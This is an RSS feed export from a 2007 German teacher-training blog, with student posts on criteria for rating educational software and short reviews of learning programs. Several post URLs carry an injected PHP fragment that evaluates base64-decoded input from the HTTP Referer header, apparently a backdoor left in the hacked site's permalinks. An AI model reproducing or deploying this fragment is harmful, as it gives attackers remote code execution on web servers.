<p>Windows 95 oder h&#246;her – 3MB 	Fetsplatte – mindestens Pentiumprozessor – 16 MB-RAM 	Arbeitsspeicher – VGA-Grafikkarte mit 256 Farben – 	4x-CD-Laufwerk</li>
<li>Erscheinungsjahr 2001, 	ver&#246;ffentlicht von bhv Software  GmbH &amp; Co KG, www.bhv.net</li>
<li><strong>Grafik</strong>
<p>kleine Aufl&#246;sung, f&#252;llt 	nicht den ganzen Bildschirm aus</li>
</ul>
<p><strong>Didaktik</strong></p>
<ul>
<li>Alle Lernertypen<br />
- Freiraum f&#252;r 	&#220;bungselemente weg vom Computer: nein<br />
- Chronik / Tagebuch<br />
- 	differenzierte Lehrkontrolle<br />
- Fachinhalte gesichert &#8211; stimmt’s? 	Wer hat es erfunden?: nein. Viele falsche Informationen. Ein 	Beispiel ist, dass in der Rubrik L&#228;nderinformationen die Fahne 	von Gro&#223;-Birtannien mit England betitelt ist und auch unter 	der &#220;berschrift England das Gebiet Gro&#223;-Bitanniens zu 	sehen ist</li>
<li>Keine aktuelle Inhalte</li>
<li>blo&#223;es Faktenwissen wird 	abgefragt</li>
<li> &#8211; Ansprechen verschiedener 	Sinne: nein.<br />
- Ansprechen verschiedener Kompetenzen: nein.<br />
- 	Anwendung im Kontext (?) &#8211; im aktuellen Kontext? &#8211; mit authentischen 	Aufgaben?: nein. Nur Faktenwissen wird abgefragt, das h&#228;ufig 	sehr speziell ist und wenig Bezug den Lebenswelten der Sch&#252;ler 	hat.</p>
<p>- Abenteuergestaltung &#8211; Kombi 	Spielen und Lernen &#8211; Einbindung von Basisqualifikationen: nein.<br />
- 	Motivation (Punkte, Lob, Levels): gering, da die Software nur aus 	Fragen besteht und L&#228;nderinformationen anbietet.<br />
- 	Differenzierte R&#252;ckmeldungen: nein. Einfache R&#252;ckmeldung 	&#252;ber falsch oder richtig.<br />
- Belohnung: Punkte und 	Minuspunkte bei falschen Antworten.</li>
</ul>
<p><strong>Gestaltung</strong></p>
<ul>
<li>ansprechend und an die 	Altersgruppe angepasst
<p>Gedacht f&#252;r die Jahrgangsstufen 	5-7 (10-14 Jahre)</li>
<li> &#8211; M&#246;glichkeit der 	Multiplayer Funktion (kooperatives Gameplay): eingeschr&#228;nkt, da 	zwar bis zu vier Spieler spielen k&#246;nnen, dies aber nur 	hintereinander an einem Rechner – also Rundenbasiert – kein 	gleichzeitiges gegeneinander.<br />
- Bedienung intuitiv: nein. Die 	Men&#252;punkte m&#252;ssen gesucht werden und k&#246;nnen nur durch 	sogenanntes Roll-Over mit der Maus entdeckt werden.</p>
<p>- einfaches gutes Hilfsmodul!!!<br />
- 	Bedienung lehrertauglich: es gibt Unterscheidung zwischen Lehrer und 	Sch&#252;ler</li>
</ul>
<p><strong>Unterrichtseignung</strong></p>
<ul>
<li>&#220;bereinstimmung mit 	Curriculum (Lehrbuchkompatibel): nur Faktenwissen abgefragt<br />
- 	Differenzierungsm&#246;glichkeiten<br />
- Lehrer Kontrolle &#252;ber 	Lernprozess der Sch&#252;ler: Nein. Aber die Ergebnisse k&#246;nnen 	f&#252;r jeden Spieler abgefragt werden. Dies allerdings nicht 	zentral, sondern nur an dem jeweiligen Rechner, an dem gespielt 	wurde.</li>
<li> &#8211; Interaktivit&#228;t zwischen 	Sch&#252;lern und mit Lehrer: keine.</li>
<li> &#8211; Preis: gering. Heute nicht 	mehr im Handel erh&#228;ltlich – h&#246;chstens bei eBay.</li>
</ul>
<p><strong>Inhalte</strong></p>
<ul>
<li>Infolinks zu authentischen 	Webquellen<br />
- aktuelle Themen / Inhalte<br />
- Upgrade/Updates 	Software + INHALT: nein.</li>
</ul>
<p>Lexikon</p>
<p>Lernquiz, das aus den Fragen der Software zusammengew&#252;rfelt wird.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Webquelle mit Infos zu Lernsoftware &#8211; Arbeitslehre/Arbeitsorientierte Bildung</title>
		<link>http://www.didactalab.de/teachlab/2007/05/11/webquelle-mit-infos-zu-lernsoftware-arbeitslehrearbeitsorientierte-bildung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/05/11/webquelle-mit-infos-zu-lernsoftware-arbeitslehrearbeitsorientierte-bildung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 11 May 2007 02:46:12 +0000</pubDate>
		<dc:creator>Susanne</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=242</guid>
		<description><![CDATA[Bei meiner Recherge bin ich auf das &#8220;Computer-Magazin f&#252;r berufliche Bildung und F&#246;rderunterricht&#8221; des LERNEN F&#214;RDERN Tr&#228;gergesellschaft Rheinland-Pfalz e.V. gesto&#223;en. Auf der &#252;bersichtlichen Startseite gibt es einen Button der zu getesteter Lernsoftware aus dem Bereich berufliche Aus- und Weiterbildung f&#252;hrt. Es gibt eine Liste mit insgesamt 137 getesteten Lernsoftwares die die verschiedensten Schwerpunkte von Arbeitslehre/Arbeitsorientierter Bildung ansprechen.Ich habe [...]]]></description>
			<content:encoded><![CDATA[<p>Bei meiner Recherge bin ich auf das</p>
<p><font face="Arial"><font color="#0000ff"><font size="+1"><font size="3" color="#000000" face="Georgia">&#8220;</font><strong>Computer-Magazin f&#252;r berufliche Bildung und F&#246;rderunterricht&#8221; </strong><font size="3" color="#000000" face="Georgia">des</font> <a href="http://www.lernen-foerdern.net/"><font size="2">LERNEN F&#214;RDERN Tr&#228;gergesellschaft Rheinland-Pfalz e.V.</font></a> <font size="3" color="#000000" face="Georgia">gesto&#223;en. Auf der &#252;bersichtlichen Startseite gibt es einen Button der zu getesteter Lernsoftware aus dem Bereich berufliche Aus- und Weiterbildung f&#252;hrt. Es gibt eine Liste mit insgesamt 137 getesteten Lernsoftwares die die verschiedensten Schwerpunkte von Arbeitslehre/Arbeitsorientierter Bildung ansprechen.<span id="more-242"></span></font></font></font></font>Ich habe mich mit der Kritik des</p>
<p><strong>Lernprogramm Hauswirtschaft</strong> besch&#228;figt. Es ist zu beziehen &#252;ber <a href="http://www.paulinenpflege-winnenden.de/bbw/cbt"><font size="2" face="Arial">http://www.paulinenpflege-winnenden.de/bbw/cbt</font></a>  und wurde entwickelt von <a href="http://www.medien-werkstatt.com/"><font size="2" face="Arial">http://www.medien-werkstatt.com </font></a>.</p>
<p>Das Programm ist zwar f&#252;r geh&#246;rlose, schwerh&#246;rige oder sprachbehinderte Jugendliche gemacht die sich in einer hauswirtschaftlichen Ausbildung befinden, es eigenet sich laut Kritik aber auch gut f&#252;r den Einsatz in Berufschulen, au&#223;erschulischen Bildungsma&#223;nahmen oder ausbildungsbegleitende Hilfen. Es teilt sich in drei Bereiche ein:</p>
<ul>
<li><font face="Arial,Helvetica"><font size="-1">Virtueller Haushalt</font></font></li>
<li><font face="Arial,Helvetica"><font size="-1">Begriffetrainer</font></font></li>
<li><font face="Arial,Helvetica"><font size="-1">Pr&#252;fungsfragentrainer</font></font></li>
</ul>
<p>Den Auszubildenen soll hier die M&#246;glichkeit geboten werden einzelne Ausbildungsinhalte interaktiv nacherleben zu k&#246;nnen und den theoretischen Inhalt zu trainieren.</p>
<p>Die Kritik f&#228;llt positiv aus. Das Programm ist multimedial und liebevoll, ansprechend gestaltet. Gelobt wird insbesondere die starke Auspr&#228;gung an Virtualit&#228;t.</p>
<p>Leider ist die Software sehr teuer. Eine Einzellizens liegt bei 99,-€, die Schullizens f&#252;r 10 Exemplare bei 550,-€.</p>
<p><strong>Auf diese Software bin ich neugierig geworden!</strong></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Referatsgruppe f&#252;r eine Deutschlernsoftware</title>
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		<pubDate>Thu, 10 May 2007 22:28:58 +0000</pubDate>
		<dc:creator>WiebkeG</dc:creator>
				<category><![CDATA[Organisatorisches]]></category>

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		<description><![CDATA[Hallo ihr, da es heute etwas chaotisch zuging, habe ich irgendwie leider Niemanden ausfindig machen k&#246;nnen, der auch Deutsch studiert und gerne eine Deutschlernsoftware vorstellen m&#246;chte. Nun wollte ich hier mal fragen, ob es schon eine Deutschlernsoftwaregruppe gibt, der ich mich vielleicht noch anschlie&#223;en k&#246;nnte oder ob sonst Jemand der noch keine Gruppe hat, Lust [...]]]></description>
			<content:encoded><![CDATA[<p>Hallo ihr,</p>
<p>da es heute etwas chaotisch zuging, habe ich irgendwie leider Niemanden ausfindig machen k&#246;nnen, der auch Deutsch studiert und gerne eine Deutschlernsoftware vorstellen m&#246;chte. Nun wollte ich hier mal fragen, ob es schon eine Deutschlernsoftwaregruppe gibt, der ich mich vielleicht noch anschlie&#223;en k&#246;nnte oder ob sonst Jemand der noch keine Gruppe hat, Lust hat, mit mir eine neue Gruppe aufzumachen&#8230; Ich studiere Deutsch auf Primarstufe&#8230;</p>
<p>Gr&#252;&#223;e, Wiebke</p>
]]></content:encoded>
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		</item>
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		<title>Kriterien zur Beurteilung von Lernsoftware</title>
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		<pubDate>Thu, 10 May 2007 20:29:39 +0000</pubDate>
		<dc:creator>Lina Laderer</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Folgende drei Oberkriterien erachte ich als elementar bei der Auswahl von Lernsoftware: Inhaltliche Kriterien: - wie werden die Inhalte strukturiert bzw. dargeboten? -welche Lernziele verfolgt das Programm ? - Verwendbarkeit f&#252;r den Unterricht ? Didaktische Kriterien: - wie ist die didaktische und methodische Konzeption aufgebaut ? -  Sprachliches Konzept ? Interaktivit&#228;t ? -  Lerneraktivit&#228;t ? [...]]]></description>
			<content:encoded><![CDATA[<p>Folgende drei Oberkriterien erachte ich als elementar bei der Auswahl von Lernsoftware:</p>
<p><strong>Inhaltliche Kriterien:</strong></p>
<p>- wie werden die Inhalte strukturiert bzw. dargeboten?</p>
<p>-welche Lernziele verfolgt das Programm ?</p>
<p>- Verwendbarkeit f&#252;r den Unterricht ?</p>
<p><strong>Didaktische Kriterien:</strong></p>
<p>- wie ist die didaktische und methodische Konzeption aufgebaut ?</p>
<p>-  Sprachliches Konzept ? Interaktivit&#228;t ?</p>
<p>-  Lerneraktivit&#228;t ? Inwieweit bietet das Programm Raum f&#252;r Eigeinitiative</p>
<p><strong>Gestaltung und Anwendung: </strong></p>
<p>- altersentsprechende grafische  Gestaltung</p>
<p>- &#220;bersichtlichkeit</p>
<p>- ansprechend, zu Auseinandersetzung motivierend (besonders wichtig in der Grundschule)</p>
<p>- einfache Bedienung ( wie geschieht die Navigation durch die einzelnen Inhalte ? )</p>
]]></content:encoded>
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		</item>
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		<title>Krierien zur Beurteilung von Lernprogrammen</title>
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		<pubDate>Thu, 10 May 2007 17:48:56 +0000</pubDate>
		<dc:creator>cfistler</dc:creator>
				<category><![CDATA[Kriterien]]></category>

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		<description><![CDATA[Kriterien zur Beurteilung von Lernprogrammen   Die f&#252;nf aufgelisteten Kriterien Technik, Didaktik, Gestaltung, Unterrichtseignung und Inhalte sind meines Erachtens ausreichend.   Zu der Wichtigkeit der einzelnen Kriterien habe ich folgende Wahl getroffen. Hierzu  habe ich mir den zeitlichen Ablauf eines Sch&#252;lers vorgestellt, wie er mit einer Lernsoftware zu arbeiten gedenkt:  1.         Technik  Schon bei den [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Kriterien zur Beurteilung von Lernprogrammen</strong>   Die f&#252;nf aufgelisteten Kriterien Technik, Didaktik, Gestaltung, Unterrichtseignung und Inhalte sind meines Erachtens ausreichend.   Zu der Wichtigkeit der einzelnen Kriterien habe ich folgende Wahl getroffen. Hierzu  habe ich mir den zeitlichen Ablauf eines Sch&#252;lers vorgestellt, wie er mit einer Lernsoftware zu arbeiten gedenkt:  1.         <strong>Technik</strong>  Schon bei den Computeranforderungen sollte man darauf Acht geben, dass die Software einwandfrei l&#228;uft. Denn bereits kleinere St&#246;rungen im Bereich der Bildschirmaufl&#246;sung oder im Soundsystem kann den Benutzer dazu veranlassen sich nicht weiter mit dieser Lernsoftware auseinander zu setzen.   2.         <strong>Gestaltung  </strong><strong>  </strong>L&#228;uft das Programm einwandfrei, muss die n&#228;chste H&#252;rde &#252;berwunden werden, n&#228;mlich die der optischen Gestaltung. Ist die Benutzeroberfl&#228;che voll mit Buttons und ma&#223;los &#252;bertriebenen Einsatz von zu kleiner Schrift, die zudem den meisten Platz einnimmt, kann man schnell die Lust an der Sache verlieren sich m&#252;hselig durch einen Wald voll Unsinn durchzuklicken. Liegt dagegen ein klar strukturiertes Display vor, so kann letzteres eher dazu animieren sich mit der Software zu besch&#228;ftigen, da alle wesentlichen Dinge leicht zu finden und zuzuordnen sind.   3.         <strong>Inhalte</strong>             Findet sich der Sch&#252;ler in der Software erst einmal zurecht, so kann der Inhalt des Programms von ausschlaggebender Bedeutung f&#252;r das weitere Vorgehen haben. Befinden sich in einer Lernsoftware f&#252;r Fremdsprachen (&#252;bertrieben dargestellt) z.B. nur Texte &#252;ber Pferde und deren Umfeld, so kann diese Tatsache f&#252;r jemanden, der nicht an Pferden interessiert ist langweilen und eher dazu animieren aufzuh&#246;ren.   4.         <strong>Didaktik        </strong>  Viele Dinge aus dem Bereich der Inhalte sind eng mit dem der Didaktik verbunden. Deswegen habe ich unter 3. nur ein Beispiel angesprochen. Nun spielt der methodische Aufbau der Lernsoftware eine &#252;beraus wichtige Rolle, auch wenn die Didaktik erst unter 4. erscheint (siehe oben). Ein abwechslungsreicher Aufgabenaufbau und die M&#246;glichkeit der Selbstkontrolle stehen dabei im Vordergrund. Nichts ist langweiliger, als st&#228;ndig das gleiche machen zu m&#252;ssen und dabei ggf. nicht einmal die M&#246;glichkeit zu besitzen den eigenen Lernfortschritt zu sehen.   5.         <strong>Unterrichtseignung</strong><strong>  </strong>Das Kriterium der Unterrichtseignung spielt bei vielen Programmen eine Rolle von geringer Wichtigkeit, denn &#252;berwiegend werden diese Programme zu Hause als Zusatz zu den Unterrichtsmaterialien in der Schule benutzt.     Abschlie&#223;end kann ich sagen, dass ich die Gliederung der Kriterien f&#252;r ausreichend befinde. Klar kann man diese beliebig erg&#228;nzen, w&#252;rde aber in vielen F&#228;llen die Anwender eher davor zur&#252;ckschrecken lassen.   </p>
]]></content:encoded>
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		</item>
		<item>
		<title>Kriterien f&#252;r Lernsoftware</title>
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		<pubDate>Thu, 10 May 2007 17:15:43 +0000</pubDate>
		<dc:creator>Shirin Waly</dc:creator>
				<category><![CDATA[Kriterien]]></category>

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		<description><![CDATA[Die f&#252;nf bereits aufgef&#252;hrten Kriterienbereiche sind alle in ihrer Gesamtheit besonders wichtig und beinhalten die relevantesten Punkte, die bei der Benutzung von Lernsoftware zu beachten w&#228;ren. Sie stellen f&#252;r mich die elementaren Kriterien f&#252;r eine Software dar, wonach die Auswahl enorm erleichtert werden kann.   F&#252;r mich pers&#246;nlich sind folgende Bereiche besonders wichtig f&#252;r den Einsatz [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Times New Roman">Die f&#252;nf bereits aufgef&#252;hrten Kriterienbereiche sind alle in ihrer Gesamtheit besonders wichtig und beinhalten die relevantesten Punkte, die bei der Benutzung von Lernsoftware zu beachten w&#228;ren. Sie stellen f&#252;r mich die elementaren Kriterien f&#252;r eine Software dar, wonach die Auswahl enorm erleichtert werden kann. </font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">F&#252;r mich pers&#246;nlich sind folgende Bereiche besonders wichtig f&#252;r den Einsatz von Lernsoftware in der Schule: </font></p>
<p><font face="Times New Roman"> </font></p>
<p><strong><font face="Times New Roman">Inhalte</font></strong></p>
<ul>
<li><font face="Times New Roman">Sind Inhalte klar strukturiert?</font></li>
<li><font face="Times New Roman">Sind die Themen authentisch und aktuell?</font></li>
</ul>
<p><font face="Times New Roman"> </font></p>
<p><strong><font face="Times New Roman">Didaktik</font></strong></p>
<ul>
<li><font face="Times New Roman">M&#246;glichkeit zum Wiederholen und Memorieren</font></li>
<li><font face="Times New Roman">Spielereischer Lernprozess</font></li>
<li><font face="Times New Roman">Interaktiver Prozess</font></li>
<li><font face="Times New Roman">Entdeckender Prozess</font></li>
<li><font face="Times New Roman">&#220;bungsm&#246;glichkeiten mit L&#246;sung</font></li>
<li><font face="Times New Roman">Motivierung</font></li>
<li><font face="Times New Roman">M&#246;glichkeit f&#252;r selbstgesteuertes Lernen</font></li>
<li><font face="Times New Roman">Altersgem&#228;&#223;e Aufbereitung</font></li>
<li><font face="Times New Roman">Erfolgsmessung?</font></li>
</ul>
<p><font face="Times New Roman"> </font></p>
<p><strong><font face="Times New Roman">Unterrichtseignung</font></strong></p>
<ul>
<li><font face="Times New Roman">Sind die Themen f&#252;r den Unterricht wirklich relevant?</font></li>
<li><font face="Times New Roman">Sind Themen didaktisch sinnvoll aufbereitet?</font></li>
<li><font face="Times New Roman">Sind Inhalte sachlich richtig?</font></li>
<li><font face="Times New Roman">Sind Lernziele klar formuliert?</font></li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>Kategoriensuche</title>
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		<pubDate>Thu, 10 May 2007 06:52:13 +0000</pubDate>
		<dc:creator>Wesemann</dc:creator>
				<category><![CDATA[Antworten]]></category>

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		<description><![CDATA[Ich bin der Meinung, dass wir mit den bereits genannten Punkten (Technik, Didaktik, Unterrichtseignung, Inhalte) eine stichhaltige vergleichbare Bewertung der Lernsoftware vornehmen k&#246;nnen. Jedoch m&#252;sste der Stellenwert jedes einzelnen Bereichs (siehe die zur Hilfe herangezogene Folie) noch einmal neu beleuchtet und ggf. ver&#228;ndert werden. Vielleicht w&#228;re f&#252;r den Konsumenten noch ein abschlie&#223;ender „Fazitpunkt“ hilfreich, indem [...]]]></description>
			<content:encoded><![CDATA[<p>Ich bin der Meinung, dass wir mit den bereits genannten Punkten (Technik, Didaktik, Unterrichtseignung, Inhalte) eine stichhaltige vergleichbare Bewertung der Lernsoftware vornehmen k&#246;nnen. Jedoch m&#252;sste der Stellenwert jedes einzelnen Bereichs (siehe die zur Hilfe herangezogene Folie) noch einmal neu beleuchtet und ggf. ver&#228;ndert werden. Vielleicht w&#228;re f&#252;r den Konsumenten noch ein abschlie&#223;ender „Fazitpunkt“ hilfreich, indem noch einmal eine individuelle Gesamteinsch&#228;tzung (St&#228;rken/Schw&#228;chen zur Konkurrenz, Preisleistungsverh&#228;ltnis, Stellungnahmen vom Tester etc.) vorgenommen wird. Ein reines Punktesystem hilft dem Laien sicherlich nicht bei der Auswahl der richtigen Lernsoftware.</p>
<p>Nun m&#246;chte ich kurz auf den von mir noch nicht eingegangenen Punkt „Gestaltung“ eingehen. Ich denke dies ist gerade aus Sicht der Sch&#252;ler/-innen von gro&#223;em Interesse und so stellt sich mir die Frage, wie eine Software sein m&#252;sste, damit Sie angenommen wird. In meinem Halbjahrespraktikum habe ich mit einer Aldi-Biologielernsoftware hantiert und habe feststellen m&#252;ssen, dass nur die kurzen Lernfilme/Animationen brauchbar waren (um zu Beginn der Stunde die Inhalte der vorherigen noch mal in Erinnerung zu rufen, damit die Sch&#252;lerschaft einen Ankn&#252;pfungspunkt hat bzw. roter Faden/Ergebnissicherung). Im Unterrichtsgeschehen sieht es ja nun mal so aus, dass eine Lehrkraft nicht ansatzweise mit den Multimillionen teuren Film-/Spielproduktion mithalten kann, die den Sch&#252;lern heutzutage geboten werden (ob es nun &#252;berhaupt sinnvoll und erstrebenswert ist, sei nun einmal dahingestellt). Doch damit Sch&#252;ler sich in ihrer Freizeit mit Lernsoftware auseinandersetzen, darf diese nicht nur medial aufgepeppte B&#252;chern (in &#220;bereinstimmung mit dem Curriculum) entsprechen, sondern (vergleichbar mit Online-Spielen) es m&#252;ssen z.B. Welten interaktiv erschlossen , Aufgaben/R&#228;tsel gel&#246;st, versteckte aktuelle Filme entdeckt und Strategien entwickelt werden. Kurz um: warum kann soll ein Auftrag/Quest wie „sammel 50 St&#252;ck Eisenerz f&#252;r ein neues Schwert“ interessanter sein als „entdecke den Ursprung des Lebens und steige auf zum weisen Guru“???? –Nur mal ganz naiv gefragt, als nicht Pro-gamer: Wenn die Deutschen 2 Mrd. € f&#252;r Nachhilfe investieren, k&#246;nnte es nicht sein, das es auch einen Markt f&#252;r technisch/graphisch komplexe Lernsoftware geben k&#246;nnte, wo der Spielspass (mit Ihm das Neue/Interessante) nicht nach 10min. verflogen ist. Diese gestalterischen M&#246;glichkeiten sind meines Wissen bis jetzt viel zu kurz gekommen.</p>
]]></content:encoded>
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		</item>
		<item>
		<title></title>
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		<pubDate>Thu, 10 May 2007 05:28:15 +0000</pubDate>
		<dc:creator>Nadine</dc:creator>
				<category><![CDATA[Kriterien]]></category>

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		<description><![CDATA[Ich sehe die Gewichtung der &#8220;Oberkriterien&#8221; in folgender Reihenfolge: 1. Inhalt, 2. Didaktik, 3. Gestaltung, 4. Technik. Didaktik: F&#246;rdert die Software den Lernprozess? Motiviert es den Benutzer/die Benutzerin? Wird der individuelle Lernfortschritt erfasst? Werden mehrere Sinne durch das Programm angesprochen? &#8230; Werden mehrere Sinne angesprochen? Ich finde es sehr wichtig, dass die Software mehrere Sinne [...]]]></description>
			<content:encoded><![CDATA[<p>Ich sehe die Gewichtung der &#8220;Oberkriterien&#8221; in folgender Reihenfolge:</p>
<p>1. Inhalt, 2. Didaktik, 3. Gestaltung, 4.  Technik.</p>
<p>Didaktik:</p>
<p>F&#246;rdert die Software den Lernprozess? Motiviert es den Benutzer/die Benutzerin? Wird der individuelle Lernfortschritt erfasst? Werden mehrere Sinne durch das Programm angesprochen? &#8230;</p>
<p>Werden mehrere Sinne angesprochen?</p>
<p>Ich finde es sehr wichtig, dass die Software  mehrere  Sinne beim Lernen anspricht, genau wie beim Lernen ohne Computer, damit das Gelernte sich besser manifestieren kann.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/05/10/234/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Kriterien f&#252;r Lernsoftware</title>
		<link>http://www.didactalab.de/teachlab/2007/05/09/kriterien-fuer-lernsoftware-8/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/05/09/kriterien-fuer-lernsoftware-8/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 09 May 2007 21:23:58 +0000</pubDate>
		<dc:creator>NinaD</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=233</guid>
		<description><![CDATA[Bewertungskriterien f&#252;r Lernsoftware &#8230;haben mich sehr an die Kriterien erinnert, die im Allgemeinen auch in der Informatik f&#252;r Systemdesign vorgeschlagen werden, z.B. &#8216;Nielsen&#8217;s Ten Usability Heuristics&#8217;: deshalb f&#252;g ich die mal ein, und kommentiere ein bisschen bez&#252;glich Lernsoftware&#8230; 1 Visibility of system status &#8212; d.h. der Benutzer sollte jeweils wissen, was das System macht; wenn [...]]]></description>
			<content:encoded><![CDATA[<p>Bewertungskriterien f&#252;r Lernsoftware</p>
<p>&#8230;haben mich sehr an die Kriterien erinnert, die im Allgemeinen auch in der Informatik f&#252;r Systemdesign vorgeschlagen werden, z.B. &#8216;Nielsen&#8217;s Ten Usability Heuristics&#8217;: deshalb f&#252;g ich die mal ein, und kommentiere ein bisschen bez&#252;glich Lernsoftware&#8230;</p>
<p>1 Visibility of system status &#8212; d.h. der Benutzer sollte jeweils wissen, was das System macht; wenn es arbeitet, m&#246;chte man das wissen, denn es k&#246;nnte sich ja aufgeh&#228;ngt haben<br />
2 Match between system and the real world &#8212; einfache Begriffe verwenden, die der Benutzer versteht, keine &#8216;informatischen&#8217; Begriffe oder sogar Programmiercode <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </p>
<p>3 User control and freedom &#8212; es sollten z.B. &#8216;Zur&#252;ck&#8217; Kn&#246;pfe angeboten werden, damit man einfach mal ein paar Sachen dr&#252;cken kann ohne den Systemstatus unwiederbringlich zu &#228;ndern&#8230;</p>
<p>4 Consistency and standards &#8212; W&#246;rter benutzen, die im Allgemeinen verwendet werden, also auch schon von anderen Programmen oder im Lernkontext allgemeiner</p>
<p>5 Error prevention &#8212; Probleme, die in der Anwendung entstehen k&#246;nnen vorher analysieren, und wenn&#8217;s geht vermeiden (Teilen durch Null ist ein Lieblingsbeispiel-dann kann das ganze System zusammen krachen, wenn&#8217;s nicht bedacht wurde <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  )</p>
<p>6 Recognition rather than recall &#8212; hei&#223;t es ist einfacher, wenn Handlungsoptionen angeboten werden (drop down menu, z.B.), und man sich nicht den Befehl daf&#252;r merken muss (wie manchmal auf der Linux command line (Terminal))<br />
7 Flexibility and efficiency of use &#8212; das System sollte sich dem User anpassen; fortgeschrittene Lernen (Benutzer der Lernsoftware) k&#246;nnen das Programm dann schneller und flexibler benutzen; evtl durch Speichern von Daten, etc.</p>
<p>8 Aesthetic and minimalist design &#8212; ein &#252;bersichtliches Design</p>
<p>9 Help users recognize, diagnose, and recover from errors &#8212; n&#252;tzliche Fehlermeldungen und L&#246;sungsvorschl&#228;ge; manchmal z.B. etwas detaillierter als &#8220;m&#246;chten Sie das Problem an Windows senden?&#8221;</p>
<p>10 Help and documentation &#8212; auch wenn&#8217;s nicht oft gelesen wird &#8211; die &#8216;Help&#8217;-Option&#8230;<br />
&#8230;. ach ja, viel genauer hier: <a href="http://www.useit.com/">www.useit.com</a> <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
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